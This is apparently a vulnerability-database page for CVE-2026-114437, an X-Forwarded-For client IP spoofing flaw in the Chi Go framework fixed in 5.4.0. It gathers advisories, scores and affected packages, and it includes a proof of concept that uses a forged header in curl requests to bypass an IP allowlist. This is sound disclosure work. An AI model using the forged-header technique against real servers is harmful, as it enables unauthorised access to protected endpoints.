CVE-2026-114437
Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
This issue affects chi before 5.4.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.3
Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
This issue affects chi before 5.4.0.
- Record
CVE-2026-114437- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-348
- Updated
- 2026-11-02
EUVDEUVD-2026-107261
6.3
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
This issue affects chi before 5.4.0.
- Record
EUVD-2026-107261- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7cgw-qmxx-7fc2
6.3
Duplicate Advisory: chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-j6qf-3m9c-vwj3. This link is maintained to preserve external references.
Original Description
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
This issue affects chi before 5.4.0.
- Record
GHSA-7cgw-qmxx-7fc2- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-348
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-j6qf-3m9c-vwj3
4.8
chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For
Summary
ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).
Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.
- Send
GET /admindirectly to the origin with noX-Forwarded-Forheader. - Observe a
403 Forbiddenresponse and an empty derived client IP. - Repeat the request with
X-Forwarded-For: 10.0.0.7, 198.51.100.42. - Observe
200 OKandclient-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.
Details
The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
ip, ok := parseHeaderAddr(v)
if !ok {
return true
}
if inAnyPrefix(ip, prefixes) {
return false
}
found = ip
return true
})
The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.
Proof of concept
Using Go 1.24 or later, create and run this minimal application against the tested revision:
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
const allowedIP = "10.0.0.7"
func main() {
r := chi.NewRouter()
r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
clientIP := middleware.GetClientIP(r.Context())
if clientIP != allowedIP {
http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
return
}
fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
})
log.Print("listening on http://127.0.0.1:3001")
log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
The no-header control was rejected:
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48
denied: tcp-peer="127.0.0.1:54416" client-ip=""
Adding the forged chain authorized the same direct client:
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8
allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
Impact
I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.
- Record
GHSA-j6qf-3m9c-vwj3- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-345
- Updated
- 2026-11-02
NVD
6.3
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
This issue affects chi before 5.4.0.
- Record
CVE-2026-114437- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-348
- Updated
- 2026-11-02
OSV
6.3
Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
This issue affects chi before 5.4.0.
- Record
CVE-2026-114437- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-348
- Updated
- 2026-11-02
Show 6 moreShow less
OSVDEBIAN-CVE-2026-114437
6.3
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.
- Record
DEBIAN-CVE-2026-114437- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVGHSA-7cgw-qmxx-7fc2
6.3
Duplicate Advisory: chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-j6qf-3m9c-vwj3. This link is maintained to preserve external references.
Original Description
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
This issue affects chi before 5.4.0.
- Record
GHSA-7cgw-qmxx-7fc2- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-348
- Updated
- 2026-11-02
OSVGHSA-j6qf-3m9c-vwj3
4.8
chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For
Summary
ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).
Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.
- Send
GET /admindirectly to the origin with noX-Forwarded-Forheader. - Observe a
403 Forbiddenresponse and an empty derived client IP. - Repeat the request with
X-Forwarded-For: 10.0.0.7, 198.51.100.42. - Observe
200 OKandclient-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.
Details
The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
ip, ok := parseHeaderAddr(v)
if !ok {
return true
}
if inAnyPrefix(ip, prefixes) {
return false
}
found = ip
return true
})
The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.
Proof of concept
Using Go 1.24 or later, create and run this minimal application against the tested revision:
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
const allowedIP = "10.0.0.7"
func main() {
r := chi.NewRouter()
r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
clientIP := middleware.GetClientIP(r.Context())
if clientIP != allowedIP {
http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
return
}
fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
})
log.Print("listening on http://127.0.0.1:3001")
log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
The no-header control was rejected:
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48
denied: tcp-peer="127.0.0.1:54416" client-ip=""
Adding the forged chain authorized the same direct client:
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8
allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
Impact
I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.
- Record
GHSA-j6qf-3m9c-vwj3- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-345
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-114437
6.3
In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.
- Record
UBUNTU-CVE-2026-114437- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12290-1 No score
hauler-2.1.2-2.1 on GA media
These are all security issues fixed in the hauler-2.1.2-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12290-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22201-1 No score
Security update for hauler
This update for hauler fixes the following issues:
Changes in hauler:
-
update vendor:
- CVE-2026-114437: github.com/go-chi/chi/v5: client IP spoofing in
ClientIPFromXFFvia `X-Forwarded-For (bsc#1287881)
- CVE-2026-114437: github.com/go-chi/chi/v5: client IP spoofing in
-
update to 2.1.2 (bsc#1285270, CVE-2026-78669):
- It fixes credential and presigned url leaks, local chart
handling, haul formats from
--filename, andhauler store copywith image-type files and cosign bundles. It addshauler,hauler-dev, andhauler@homebrew casks, and it is the first release published through them. It also bumps go to1.27.2.
- It fixes credential and presigned url leaks, local chart
handling, haul formats from
- Record
openSUSE-SU-2026:22201-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/go-chi/chi/v5Go |
through 5.3.2 | 5.4.0 |
golang-github-go-chi-chiDebian:12 |
All versions, plus listed versions 5.0.7-15.1.0-15.2.0-15.2.3-15.2.5-15.3.0-1 |
None known |
golang-github-go-chi-chiDebian:13 |
All versions, plus listed versions 5.2.0-15.2.3-15.2.5-15.3.0-1 |
None known |
golang-github-go-chi-chiDebian:14 |
All versions, plus listed versions 5.2.0-15.2.3-15.2.5-15.3.0-1 |
None known |
github.com/go-chi/chi/v5Go |
before 5.4.0 | 5.4.0 |
golang-github-go-chi-chiUbuntu:22.04:LTS |
All versions, plus listed versions 1.5.1-25.0.7-1 |
None known |
golang-github-go-chi-chiUbuntu:24.04:LTS |
All versions, plus listed versions 5.0.7-1 |
None known |
golang-github-go-chi-chiUbuntu:26.10 |
All versions, plus listed versions 5.2.3-15.3.0-1 |
None known |
golang-github-go-chi-chiUbuntu:26.04:LTS |
All versions, plus listed versions 5.2.0-15.2.3-1 |
None known |
hauleropenSUSE:Tumbleweed |
before 2.1.2-2.1 | 2.1.2-2.1 |
hauleropenSUSE:Leap 16.0 From an advisory covering 2 CVEs |
before 2.1.2-bp160.1.1 | 2.1.2-bp160.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-114437 is a medium vulnerability (CVSS 6.3) in Go-chi Chi, published October 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.13%, the 2nd percentile. Fixed in github.com/go-chi/chi/v5 5.4.0.
References
tenable.com/security/research/tra-2026-66
github.com/go-chi/chi/security/advisories/GHSA-j6qf-3m9c-vwj3
nvd.nist.gov/vuln/detail/CVE-2026-114437
github.com/advisories/GHSA-7cgw-qmxx-7fc2
github.com/go-chi/chi/pull/1214
github.com/go-chi/chi/commit/7f9b7448f51d28804fac98c0a17bc2a7cec1079f
Show 12 moreShow less
github.com/go-chi/chi/releases/tag/v5.4.0
github.com/advisories/GHSA-j6qf-3m9c-vwj3
pkg.go.dev
github.com/CVEProject/cvelistV5/tree/main/cves/2026/114xxx/CVE-2026-114437.json
security-tracker.debian.org/tracker/CVE-2026-114437
github.com/go-chi/chi
ubuntu.com/security/CVE-2026-114437
cve.org/CVERecord?id=CVE-2026-114437
suse.com/security/cve/CVE-2026-114437
bugzilla.suse.com/1285270
bugzilla.suse.com/1287881
suse.com/security/cve/CVE-2026-78669